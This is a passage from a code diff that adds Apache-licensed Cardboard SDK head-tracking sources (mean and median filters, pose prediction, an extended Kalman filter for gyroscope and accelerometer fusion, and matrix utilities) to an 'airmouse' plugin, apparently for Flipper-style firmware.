* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_MEAN_FILTER_H_
#define CARDBOARD_SDK_SENSORS_MEAN_FILTER_H_
#include <deque>
#include "../util/vector.h"
namespace cardboard {
// Fixed window FIFO mean filter for vectors of the given dimension.
class MeanFilter {
public:
// Create a mean filter of size filter_size.
// @param filter_size size of the internal filter.
explicit MeanFilter(size_t filter_size);
// Add sample to buffer_ if buffer_ is full it drop the oldest sample.
void AddSample(const Vector3& sample);
// Returns true if buffer has filter_size_ sample, false otherwise.
bool IsValid() const;
// Returns the mean of values stored in the internal buffer.
Vector3 GetFilteredData() const;
private:
const size_t filter_size_;
std::deque<Vector3> buffer_;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_MEAN_FILTER_H_
applications/plugins/airmouse/tracking/sensors/median_filter.cc
+69
View File
@@ -0,0 +1,69 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "median_filter.h"
#include <algorithm>
#include <vector>
#include "../util/vector.h"
#include "../util/vectorutils.h"
namespace cardboard {
MedianFilter::MedianFilter(size_t filter_size)
: filter_size_(filter_size)
{
}
void MedianFilter::AddSample(const Vector3& sample)
{
buffer_.push_back(sample);
norms_.push_back(Length(sample));
if (buffer_.size() > filter_size_) {
buffer_.pop_front();
norms_.pop_front();
}
}
bool MedianFilter::IsValid() const { return buffer_.size() == filter_size_; }
Vector3 MedianFilter::GetFilteredData() const
{
std::vector<float> norms(norms_.begin(), norms_.end());
// Get median of value of the norms.
std::nth_element(norms.begin(), norms.begin() + filter_size_ / 2, norms.end());
const float median_norm = norms[filter_size_ / 2];
// Get median value based on their norm.
auto median_it = buffer_.begin();
for (const auto norm : norms_) {
if (norm == median_norm) {
break;
}
++median_it;
}
return *median_it;
}
void MedianFilter::Reset()
{
buffer_.clear();
norms_.clear();
}
} // namespace cardboard
applications/plugins/airmouse/tracking/sensors/median_filter.h
+53
View File
@@ -0,0 +1,53 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_MEDIAN_FILTER_H_
#define CARDBOARD_SDK_SENSORS_MEDIAN_FILTER_H_
#include <deque>
#include "../util/vector.h"
namespace cardboard {
// Fixed window FIFO median filter for vectors of the given dimension = 3.
class MedianFilter {
public:
// Creates a median filter of size filter_size.
// @param filter_size size of the internal filter.
explicit MedianFilter(size_t filter_size);
// Adds sample to buffer_ if buffer_ is full it drops the oldest sample.
void AddSample(const Vector3& sample);
// Returns true if buffer has filter_size_ sample, false otherwise.
bool IsValid() const;
// Returns the median of values store in the internal buffer.
Vector3 GetFilteredData() const;
// Resets the filter, removing all samples that have been added.
void Reset();
private:
const size_t filter_size_;
std::deque<Vector3> buffer_;
// Contains norms of the elements stored in buffer_.
std::deque<float> norms_;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_MEDIAN_FILTER_H_
applications/plugins/airmouse/tracking/sensors/pose_prediction.cc
+71
View File
@@ -0,0 +1,71 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "pose_prediction.h"
#include <chrono> // NOLINT
#include "../util/logging.h"
#include "../util/vectorutils.h"
namespace cardboard {
namespace {
const double kEpsilon = 1.0e-15;
} // namespace
namespace pose_prediction {
Rotation GetRotationFromGyroscope(const Vector3& gyroscope_value, double timestep_s)
{
const double velocity = Length(gyroscope_value);
// When there is no rotation data return an identity rotation.
if (velocity < kEpsilon) {
CARDBOARD_LOGI("PosePrediction::GetRotationFromGyroscope: Velocity really small, "
"returning identity rotation.");
return Rotation::Identity();
}
// Since the gyroscope_value is a start from sensor transformation we need to
// invert it to have a sensor from start transformation, hence the minus sign.
// For more info:
// http://developer.android.com/guide/topics/sensors/sensors_motion.html#sensors-motion-gyro
return Rotation::FromAxisAndAngle(gyroscope_value / velocity, -timestep_s * velocity);
}
Rotation PredictPose(int64_t requested_pose_timestamp, const PoseState& current_state)
{
// Subtracting unsigned numbers is bad when the result is negative.
const int64_t diff = requested_pose_timestamp - current_state.timestamp;
const double timestep_s = diff * 1.0e-9;
const Rotation update = GetRotationFromGyroscope(
current_state.sensor_from_start_rotation_velocity, timestep_s);
return update * current_state.sensor_from_start_rotation;
}
Rotation PredictPoseInv(int64_t requested_pose_timestamp, const PoseState& current_state)
{
// Subtracting unsigned numbers is bad when the result is negative.
const int64_t diff = requested_pose_timestamp - current_state.timestamp;
const double timestep_s = diff * 1.0e-9;
const Rotation update = GetRotationFromGyroscope(
current_state.sensor_from_start_rotation_velocity, timestep_s);
return current_state.sensor_from_start_rotation * (-update);
}
} // namespace pose_prediction
} // namespace cardboard
applications/plugins/airmouse/tracking/sensors/pose_prediction.h
+55
View File
@@ -0,0 +1,55 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_POSE_PREDICTION_H_
#define CARDBOARD_SDK_SENSORS_POSE_PREDICTION_H_
#include <cstdint>
#include "pose_state.h"
#include "../util/rotation.h"
namespace cardboard {
namespace pose_prediction {
// Returns a rotation matrix based on the integration of the gyroscope_value
// over the timestep_s in seconds.
// TODO(pfg): Document the space better here.
//
// @param gyroscope_value gyroscope sensor values.
// @param timestep_s integration period in seconds.
// @return Integration of the gyroscope value the rotation is from Start to
// Sensor Space.
Rotation GetRotationFromGyroscope(const Vector3& gyroscope_value, double timestep_s);
// Gets a predicted pose for a given time in the future (e.g. rendering time)
// based on a linear prediction model. This uses the system current state
// (position, velocity, etc) from the past to extrapolate a position in the
// future.
//
// @param requested_pose_timestamp time at which you want the pose.
// @param current_state current state that stores the pose and linear model at a
// given time prior to requested_pose_timestamp_ns.
// @return pose from Start to Sensor Space.
Rotation PredictPose(int64_t requested_pose_timestamp, const PoseState& current_state);
// Equivalent to PredictPose, but for use with poses relative to Start Space
// rather than sensor space.
Rotation PredictPoseInv(int64_t requested_pose_timestamp, const PoseState& current_state);
} // namespace pose_prediction
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_POSE_PREDICTION_H_
applications/plugins/airmouse/tracking/sensors/pose_state.h
+56
View File
@@ -0,0 +1,56 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_POSE_STATE_H_
#define CARDBOARD_SDK_SENSORS_POSE_STATE_H_
#include "../util/rotation.h"
#include "../util/vector.h"
namespace cardboard {
enum {
kPoseStateFlagInvalid = 1U << 0,
kPoseStateFlagInitializing = 1U << 1,
kPoseStateFlagHas6DoF = 1U << 2,
};
// Stores a head pose pose plus derivatives. This can be used for prediction.
struct PoseState {
// System wall time.
int64_t timestamp;
// Rotation from Sensor Space to Start Space.
Rotation sensor_from_start_rotation;
// First derivative of the rotation.
Vector3 sensor_from_start_rotation_velocity;
// Current gyroscope bias in rad/s.
Vector3 bias;
// The position of the headset.
Vector3 position = Vector3(0, 0, 0);
// In the same coordinate frame as the position.
Vector3 velocity = Vector3(0, 0, 0);
// Flags indicating the status of the pose.
uint64_t flags = 0U;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_POSE_STATE_H_
applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.cc
+333
View File
@@ -0,0 +1,333 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "sensor_fusion_ekf.h"
#include <algorithm>
#include <cmath>
#include "accelerometer_data.h"
#include "gyroscope_data.h"
#include "pose_prediction.h"
#include "../util/matrixutils.h"
namespace cardboard {
namespace {
const double kFiniteDifferencingEpsilon = 1.0e-7;
const double kEpsilon = 1.0e-15;
// Default gyroscope frequency. This corresponds to 100 Hz.
const double kDefaultGyroscopeTimestep_s = 0.01f;
// Maximum time between gyroscope before we start limiting the integration.
const double kMaximumGyroscopeSampleDelay_s = 0.04f;
// Compute a first-order exponential moving average of changes in accel norm per
// frame.
const double kSmoothingFactor = 0.5;
// Minimum and maximum values used for accelerometer noise covariance matrix.
// The smaller the sigma value, the more weight is given to the accelerometer
// signal.
const double kMinAccelNoiseSigma = 0.75;
const double kMaxAccelNoiseSigma = 7.0;
// Initial value for the diagonal elements of the different covariance matrices.
const double kInitialStateCovarianceValue = 25.0;
const double kInitialProcessCovarianceValue = 1.0;
// Maximum accelerometer norm change allowed before capping it covariance to a
// large value.
const double kMaxAccelNormChange = 0.15;
// Timestep IIR filtering coefficient.
const double kTimestepFilterCoeff = 0.95;
// Minimum number of sample for timestep filtering.
const int kTimestepFilterMinSamples = 10;
// Z direction in start space.
const Vector3 kCanonicalZDirection(0.0, 0.0, 1.0);
// Computes an axis-angle rotation from the input vector.
// angle = norm(a)
// axis = a.normalized()
// If norm(a) == 0, it returns an identity rotation.
static inline Rotation RotationFromVector(const Vector3& a)
{
const double norm_a = Length(a);
if (norm_a < kEpsilon) {
return Rotation::Identity();
}
return Rotation::FromAxisAndAngle(a / norm_a, norm_a);
}
} // namespace
SensorFusionEkf::SensorFusionEkf()
: execute_reset_with_next_accelerometer_sample_(false)
, bias_estimation_enabled_(true)
, gyroscope_bias_estimate_({ 0, 0, 0 })
{
ResetState();
}
void SensorFusionEkf::Reset() { execute_reset_with_next_accelerometer_sample_ = true; }
void SensorFusionEkf::ResetState()
{
current_state_.sensor_from_start_rotation = Rotation::Identity();
current_state_.sensor_from_start_rotation_velocity = Vector3::Zero();
current_gyroscope_sensor_timestamp_ns_ = 0;
current_accelerometer_sensor_timestamp_ns_ = 0;
state_covariance_ = Matrix3x3::Identity() * kInitialStateCovarianceValue;
process_covariance_ = Matrix3x3::Identity() * kInitialProcessCovarianceValue;
accelerometer_measurement_covariance_
= Matrix3x3::Identity() * kMinAccelNoiseSigma * kMinAccelNoiseSigma;
innovation_covariance_ = Matrix3x3::Identity();
accelerometer_measurement_jacobian_ = Matrix3x3::Zero();
kalman_gain_ = Matrix3x3::Zero();
innovation_ = Vector3::Zero();
accelerometer_measurement_ = Vector3::Zero();
prediction_ = Vector3::Zero();
control_input_ = Vector3::Zero();
state_update_ = Vector3::Zero();
moving_average_accelerometer_norm_change_ = 0.0;
is_timestep_filter_initialized_ = false;
is_gyroscope_filter_valid_ = false;
is_aligned_with_gravity_ = false;
// Reset biases.
gyroscope_bias_estimator_.Reset();
gyroscope_bias_estimate_ = { 0, 0, 0 };
}
// Here I am doing something wrong relative to time stamps. The state timestamps
// always correspond to the gyrostamps because it would require additional
// extrapolation if I wanted to do otherwise.
PoseState SensorFusionEkf::GetLatestPoseState() const { return current_state_; }
void SensorFusionEkf::ProcessGyroscopeSample(const GyroscopeData& sample)
{
// Don't accept gyroscope sample when waiting for a reset.
if (execute_reset_with_next_accelerometer_sample_) {
return;
}
// Discard outdated samples.
if (current_gyroscope_sensor_timestamp_ns_ >= sample.sensor_timestamp_ns) {
current_gyroscope_sensor_timestamp_ns_ = sample.sensor_timestamp_ns;
return;
}
// Checks that we received at least one gyroscope sample in the past.
if (current_gyroscope_sensor_timestamp_ns_ != 0) {
double current_timestep_s = std::chrono::duration_cast<std::chrono::duration<double>>(
std::chrono::nanoseconds(
sample.sensor_timestamp_ns - current_gyroscope_sensor_timestamp_ns_))
.count();
if (current_timestep_s > kMaximumGyroscopeSampleDelay_s) {
if (is_gyroscope_filter_valid_) {
// Replaces the delta timestamp by the filtered estimates of the delta time.
current_timestep_s = filtered_gyroscope_timestep_s_;
} else {
current_timestep_s = kDefaultGyroscopeTimestep_s;
}
} else {
FilterGyroscopeTimestep(current_timestep_s);
}
if (bias_estimation_enabled_) {
gyroscope_bias_estimator_.ProcessGyroscope(sample.data, sample.sensor_timestamp_ns);
if (gyroscope_bias_estimator_.IsCurrentEstimateValid()) {
// As soon as the device is considered to be static, the bias estimator
// should have a precise estimate of the gyroscope bias.
gyroscope_bias_estimate_ = gyroscope_bias_estimator_.GetGyroscopeBias();
}
}
// Only integrate after receiving an accelerometer sample.
if (is_aligned_with_gravity_) {
const Rotation rotation_from_gyroscope = pose_prediction::GetRotationFromGyroscope(
{ sample.data[0] - gyroscope_bias_estimate_[0],
sample.data[1] - gyroscope_bias_estimate_[1],
sample.data[2] - gyroscope_bias_estimate_[2] },
current_timestep_s);
current_state_.sensor_from_start_rotation
= rotation_from_gyroscope * current_state_.sensor_from_start_rotation;
UpdateStateCovariance(RotationMatrixNH(rotation_from_gyroscope));
state_covariance_ = state_covariance_
+ ((current_timestep_s * current_timestep_s) * process_covariance_);
}
}
// Saves gyroscope event for future prediction.
current_state_.timestamp = sample.system_timestamp;
current_gyroscope_sensor_timestamp_ns_ = sample.sensor_timestamp_ns;
current_state_.sensor_from_start_rotation_velocity.Set(
sample.data[0] - gyroscope_bias_estimate_[0], sample.data[1] - gyroscope_bias_estimate_[1],
sample.data[2] - gyroscope_bias_estimate_[2]);
}
Vector3 SensorFusionEkf::ComputeInnovation(const Rotation& pose)
{
const Vector3 predicted_down_direction = pose * kCanonicalZDirection;
const Rotation rotation
= Rotation::RotateInto(predicted_down_direction, accelerometer_measurement_);
Vector3 axis;
double angle;
rotation.GetAxisAndAngle(&axis, &angle);
return axis * angle;
}
void SensorFusionEkf::ComputeMeasurementJacobian()
{
for (int dof = 0; dof < 3; dof++) {
Vector3 delta = Vector3::Zero();
delta[dof] = kFiniteDifferencingEpsilon;
const Rotation epsilon_rotation = RotationFromVector(delta);
const Vector3 delta_rotation
= ComputeInnovation(epsilon_rotation * current_state_.sensor_from_start_rotation);
const Vector3 col = (innovation_ - delta_rotation) / kFiniteDifferencingEpsilon;
accelerometer_measurement_jacobian_(0, dof) = col[0];
accelerometer_measurement_jacobian_(1, dof) = col[1];
accelerometer_measurement_jacobian_(2, dof) = col[2];
}
}
void SensorFusionEkf::ProcessAccelerometerSample(const AccelerometerData& sample)
{
// Discard outdated samples.
if (current_accelerometer_sensor_timestamp_ns_ >= sample.sensor_timestamp_ns) {
current_accelerometer_sensor_timestamp_ns_ = sample.sensor_timestamp_ns;
return;
}
// Call reset state if required.
if (execute_reset_with_next_accelerometer_sample_.exchange(false)) {
ResetState();
}
accelerometer_measurement_.Set(sample.data[0], sample.data[1], sample.data[2]);
current_accelerometer_sensor_timestamp_ns_ = sample.sensor_timestamp_ns;
if (bias_estimation_enabled_) {
gyroscope_bias_estimator_.ProcessAccelerometer(sample.data, sample.sensor_timestamp_ns);
}
if (!is_aligned_with_gravity_) {
// This is the first accelerometer measurement so it initializes the
// orientation estimate.
current_state_.sensor_from_start_rotation
= Rotation::RotateInto(kCanonicalZDirection, accelerometer_measurement_);
is_aligned_with_gravity_ = true;
previous_accelerometer_norm_ = Length(accelerometer_measurement_);
return;
}
UpdateMeasurementCovariance();
innovation_ = ComputeInnovation(current_state_.sensor_from_start_rotation);
ComputeMeasurementJacobian();
// S = H * P * H' + R
innovation_covariance_ = accelerometer_measurement_jacobian_ * state_covariance_
* Transpose(accelerometer_measurement_jacobian_)
+ accelerometer_measurement_covariance_;
// K = P * H' * S^-1
kalman_gain_ = state_covariance_ * Transpose(accelerometer_measurement_jacobian_)
* Inverse(innovation_covariance_);
// x_update = K*nu
state_update_ = kalman_gain_ * innovation_;
// P = (I - K * H) * P;
state_covariance_ = (Matrix3x3::Identity() - kalman_gain_ * accelerometer_measurement_jacobian_)
* state_covariance_;
// Updates pose and associate covariance matrix.
const Rotation rotation_from_state_update = RotationFromVector(state_update_);
current_state_.sensor_from_start_rotation
= rotation_from_state_update * current_state_.sensor_from_start_rotation;
UpdateStateCovariance(RotationMatrixNH(rotation_from_state_update));
}
void SensorFusionEkf::UpdateStateCovariance(const Matrix3x3& motion_update)
{
state_covariance_ = motion_update * state_covariance_ * Transpose(motion_update);
}
void SensorFusionEkf::FilterGyroscopeTimestep(double gyroscope_timestep_s)
{
if (!is_timestep_filter_initialized_) {
// Initializes the filter.
filtered_gyroscope_timestep_s_ = gyroscope_timestep_s;
num_gyroscope_timestep_samples_ = 1;
is_timestep_filter_initialized_ = true;
return;
}
// Computes the IIR filter response.
filtered_gyroscope_timestep_s_ = kTimestepFilterCoeff * filtered_gyroscope_timestep_s_
+ (1 - kTimestepFilterCoeff) * gyroscope_timestep_s;
++num_gyroscope_timestep_samples_;
if (num_gyroscope_timestep_samples_ > kTimestepFilterMinSamples) {
is_gyroscope_filter_valid_ = true;
}
}
void SensorFusionEkf::UpdateMeasurementCovariance()
{
const double current_accelerometer_norm = Length(accelerometer_measurement_);
// Norm change between current and previous accel readings.
const double current_accelerometer_norm_change
= std::abs(current_accelerometer_norm - previous_accelerometer_norm_);
previous_accelerometer_norm_ = current_accelerometer_norm;
moving_average_accelerometer_norm_change_ = kSmoothingFactor * current_accelerometer_norm_change
+ (1 - kSmoothingFactor) * moving_average_accelerometer_norm_change_;
// If we hit the accel norm change threshold, we use the maximum noise sigma
// for the accel covariance. For anything below that, we use a linear
// combination between min and max sigma values.
const double norm_change_ratio
= moving_average_accelerometer_norm_change_ / kMaxAccelNormChange;
const double accelerometer_noise_sigma = std::min(kMaxAccelNoiseSigma,
kMinAccelNoiseSigma + norm_change_ratio * (kMaxAccelNoiseSigma - kMinAccelNoiseSigma));
// Updates the accel covariance matrix with the new sigma value.
accelerometer_measurement_covariance_
= Matrix3x3::Identity() * accelerometer_noise_sigma * accelerometer_noise_sigma;
}
bool SensorFusionEkf::IsBiasEstimationEnabled() const { return bias_estimation_enabled_; }
void SensorFusionEkf::SetBiasEstimationEnabled(bool enable)
{
if (bias_estimation_enabled_ != enable) {
bias_estimation_enabled_ = enable;
gyroscope_bias_estimate_ = { 0, 0, 0 };
gyroscope_bias_estimator_.Reset();
}
}
} // namespace cardboard
applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.h
+188
View File
@@ -0,0 +1,188 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_SENSOR_FUSION_EKF_H_
#define CARDBOARD_SDK_SENSORS_SENSOR_FUSION_EKF_H_
#include <array>
#include <atomic>
#include <cstdint>
#include "accelerometer_data.h"
#include "gyroscope_bias_estimator.h"
#include "gyroscope_data.h"
#include "pose_state.h"
#include "../util/matrix_3x3.h"
#include "../util/rotation.h"
#include "../util/vector.h"
namespace cardboard {
// Sensor fusion class that implements an Extended Kalman Filter (EKF) to
// estimate a 3D rotation from a gyroscope and an accelerometer.
// This system only has one state, the pose. It does not estimate any velocity
// or acceleration.
//
// To learn more about Kalman filtering one can read this article which is a
// good introduction: https://en.wikipedia.org/wiki/Kalman_filter
class SensorFusionEkf {
public:
SensorFusionEkf();
// Resets the state of the sensor fusion. It sets the velocity for
// prediction to zero. The reset will happen with the next
// accelerometer sample. Gyroscope sample will be discarded until a new
// accelerometer sample arrives.
void Reset();
// Gets the PoseState representing the latest pose and derivatives at a
// particular timestamp as estimated by SensorFusion.
PoseState GetLatestPoseState() const;
// Processes one gyroscope sample event. This updates the pose of the system
// and the prediction model. The gyroscope data is assumed to be in axis angle
// form. Angle = ||v|| and Axis = v / ||v||, with v = [v_x, v_y, v_z]^T.
//
// @param sample gyroscope sample data.
void ProcessGyroscopeSample(const GyroscopeData& sample);
// Processes one accelerometer sample event. This updates the pose of the
// system. If the Accelerometer norm changes too much between sample it is not
// trusted as much.
//
// @param sample accelerometer sample data.
void ProcessAccelerometerSample(const AccelerometerData& sample);
// Enables or disables the drift correction by estimating the gyroscope bias.
//
// @param enable Enable drift correction.
void SetBiasEstimationEnabled(bool enable);
// Returns a boolean that indicates if bias estimation is enabled or disabled.
//
// @return true if bias estimation is enabled, false otherwise.
bool IsBiasEstimationEnabled() const;
// Returns the current gyroscope bias estimate from GyroscopeBiasEstimator.
Vector3 GetGyroscopeBias() const {
return {
gyroscope_bias_estimate_[0], gyroscope_bias_estimate_[1], gyroscope_bias_estimate_[2]};
}
// Returns true after receiving the first accelerometer measurement.
bool IsFullyInitialized() const {
return is_aligned_with_gravity_;
}
private:
// Estimates the average timestep between gyroscope event.
void FilterGyroscopeTimestep(double gyroscope_timestep);
// Updates the state covariance with an incremental motion. It changes the
// space of the quadric.
void UpdateStateCovariance(const Matrix3x3& motion_update);
// Computes the innovation vector of the Kalman based on the input pose.
// It uses the latest measurement vector (i.e. accelerometer data), which must
// be set prior to calling this function.
Vector3 ComputeInnovation(const Rotation& pose);
// This computes the measurement_jacobian_ via numerical differentiation based
// on the current value of sensor_from_start_rotation_.
void ComputeMeasurementJacobian();
// Updates the accelerometer covariance matrix.
//
// This looks at the norm of recent accelerometer readings. If it has changed
// significantly, it means the phone receives additional acceleration than
// just gravity, and so the down vector information gravity signal is noisier.
void UpdateMeasurementCovariance();
// Reset all internal states. This is not thread safe. Lock should be acquired
// outside of it. This function is called in ProcessAccelerometerSample.
void ResetState();
// Current transformation from Sensor Space to Start Space.
// x_sensor = sensor_from_start_rotation_ * x_start;
PoseState current_state_;
// Filtering of the gyroscope timestep started?
bool is_timestep_filter_initialized_;
// Filtered gyroscope timestep valid?
bool is_gyroscope_filter_valid_;
// Sensor fusion currently aligned with gravity? After initialization
// it will requires a couple of accelerometer data for the system to get
// aligned.
std::atomic<bool> is_aligned_with_gravity_;
// Covariance of Kalman filter state (P in common formulation).
Matrix3x3 state_covariance_;
// Covariance of the process noise (Q in common formulation).
Matrix3x3 process_covariance_;
// Covariance of the accelerometer measurement (R in common formulation).
Matrix3x3 accelerometer_measurement_covariance_;
// Covariance of innovation (S in common formulation).
Matrix3x3 innovation_covariance_;
// Jacobian of the measurements (H in common formulation).
Matrix3x3 accelerometer_measurement_jacobian_;
// Gain of the Kalman filter (K in common formulation).
Matrix3x3 kalman_gain_;
// Parameter update a.k.a. innovation vector. (\nu in common formulation).
Vector3 innovation_;
// Measurement vector (z in common formulation).
Vector3 accelerometer_measurement_;
// Current prediction vector (g in common formulation).
Vector3 prediction_;
// Control input, currently this is only the gyroscope data (\mu in common
// formulation).
Vector3 control_input_;
// Update of the state vector. (x in common formulation).
Vector3 state_update_;
// Sensor time of the last gyroscope processed event.
uint64_t current_gyroscope_sensor_timestamp_ns_;
// Sensor time of the last accelerometer processed event.
uint64_t current_accelerometer_sensor_timestamp_ns_;
// Estimates of the timestep between gyroscope event in seconds.
double filtered_gyroscope_timestep_s_;
// Number of timestep samples processed so far by the filter.
uint32_t num_gyroscope_timestep_samples_;
// Norm of the accelerometer for the previous measurement.
double previous_accelerometer_norm_;
// Moving average of the accelerometer norm changes. It is computed for every
// sensor datum.
double moving_average_accelerometer_norm_change_;
// Flag indicating if a state reset should be executed with the next
// accelerometer sample.
std::atomic<bool> execute_reset_with_next_accelerometer_sample_;
// Flag indicating if bias estimation is enabled (enabled by default).
std::atomic<bool> bias_estimation_enabled_;
// Bias estimator and static device detector.
GyroscopeBiasEstimator gyroscope_bias_estimator_;
// Current bias estimate_;
Vector3 gyroscope_bias_estimate_;
SensorFusionEkf(const SensorFusionEkf&) = delete;
SensorFusionEkf& operator=(const SensorFusionEkf&) = delete;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_SENSOR_FUSION_EKF_H_
applications/plugins/airmouse/tracking/util/logging.h
+38
View File
@@ -0,0 +1,38 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_UTIL_LOGGING_H_
#define CARDBOARD_SDK_UTIL_LOGGING_H_
#include <furi.h>
#include <furi_hal.h>
#if defined(__ANDROID__)
#include <android/log.h>
// Uncomment these to enable debug logging from native code
#define CARDBOARD_LOGI(...) // __android_log_print(ANDROID_LOG_INFO, "CardboardSDK", __VA_ARGS__)
#define CARDBOARD_LOGE(...) // __android_log_print(ANDROID_LOG_ERROR, "CardboardSDK", __VA_ARGS__)
#else
#define CARDBOARD_LOGI(...) // FURI_LOG_I("CardboardSDK", __VA_ARGS__)
#define CARDBOARD_LOGE(...) // FURI_LOG_E("CardboardSDK", __VA_ARGS__)
#endif
#endif // CARDBOARD_SDK_UTIL_LOGGING_H_
applications/plugins/airmouse/tracking/util/matrix_3x3.cc
+121
View File
@@ -0,0 +1,121 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "matrix_3x3.h"
namespace cardboard {
Matrix3x3::Matrix3x3(double m00, double m01, double m02, double m10, double m11, double m12,
double m20, double m21, double m22)
: elem_ { { { m00, m01, m02 }, { m10, m11, m12 }, { m20, m21, m22 } } }
{
}
Matrix3x3::Matrix3x3()
{
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
elem_[row][col] = 0;
}
}
Matrix3x3 Matrix3x3::Zero()
{
Matrix3x3 result;
return result;
}
Matrix3x3 Matrix3x3::Identity()
{
Matrix3x3 result;
for (int row = 0; row < 3; ++row) {
result.elem_[row][row] = 1;
}
return result;
}
void Matrix3x3::MultiplyScalar(double s)
{
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
elem_[row][col] *= s;
}
}
Matrix3x3 Matrix3x3::Negation() const
{
Matrix3x3 result;
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
result.elem_[row][col] = -elem_[row][col];
}
return result;
}
Matrix3x3 Matrix3x3::Scale(const Matrix3x3& m, double s)
{
Matrix3x3 result;
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
result.elem_[row][col] = m.elem_[row][col] * s;
}
return result;
}
Matrix3x3 Matrix3x3::Addition(const Matrix3x3& lhs, const Matrix3x3& rhs)
{
Matrix3x3 result;
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
result.elem_[row][col] = lhs.elem_[row][col] + rhs.elem_[row][col];
}
return result;
}
Matrix3x3 Matrix3x3::Subtraction(const Matrix3x3& lhs, const Matrix3x3& rhs)
{
Matrix3x3 result;
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col)
result.elem_[row][col] = lhs.elem_[row][col] - rhs.elem_[row][col];
}
return result;
}
Matrix3x3 Matrix3x3::Product(const Matrix3x3& m0, const Matrix3x3& m1)
{
Matrix3x3 result;
for (int row = 0; row < 3; ++row) {
for (int col = 0; col < 3; ++col) {
result.elem_[row][col] = 0;
for (int i = 0; i < 3; ++i)
